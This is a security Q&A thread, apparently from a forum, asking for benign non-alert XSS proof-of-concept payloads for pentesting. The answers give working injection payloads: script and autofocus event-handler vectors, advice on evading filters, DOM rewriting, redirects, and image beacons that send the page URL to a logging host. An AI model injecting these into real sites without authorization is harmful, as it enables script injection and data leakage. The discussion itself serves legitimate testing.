Any non alert() based non malicious XSS payloads?

Question

I have been trying to find non malicious, non alert based, single command reflective XSS payloads, and have so far seen none. Anybody know of any good ones for pentesting purposes? What I mean by single line is a non alert or popup based version of javascript:alert(1); that can demonstrate reflective XSS

Answer 1

You can try console.log('XSS').

Answer 2

For testing purposes, I think the most useful one is a HTTP request. This allows your server to log URLs which successfully reflected the XSS.

(new Image()).src = "https://localhost/log_xss?from=" + window.location;

You can also wrap it in a userscript:

// ==UserScript==
// @match <all_urls> 
// @run-at document-start
// ==/UserScript==

Object.defineProperty(window, "f", {
  get: function () {
    // Your function, you can change if you want.
    (new Image()).src = "https://localhost/log_xss?from=" + window.location;
  }
});

Then testing for XSS is just as easy as:

<script>f</script>
<input onfocus=f autofocus>

There are two advantages:

• It can help to bypass some XSS filters. "f" doesn't have any special characters, so it's very likely it won't be filtered. You'll still have to write a full payload that bypasses the filter, but it may help for detection.
• It's also more discrete since the pentested site will never get your server's URL.

Answer 3

With DOM-Manipulation one could change the page itself. In case one knows the target page, it can be manipulated in some nice ways.

An easy example would be:

document.body.innerHTML = 'XSS';

Answer 4

I usually do a Google image search for an amusing image, save this to my own HTTPS server and then create an <img /> tag using the XSS vulnerability.

With a bit of imagination, this can demonstrate the vulnerability in a humorous way.

Also check out the http://www.xss-payloads.com/ site for other interesting payloads.

Answer 5

For demonstration purposes, you could do a document.location redirect to a different website. A fun one would be to inject the Harlem Shake js that makes everything on the page dance.

Answer 6

Depending on your audience you could also inject some javascript nonsense like a matrix screensaver (this for example).

Answer 7

<img src="test.com/index.php?something=document.location/>

If put somewhere non-persistant.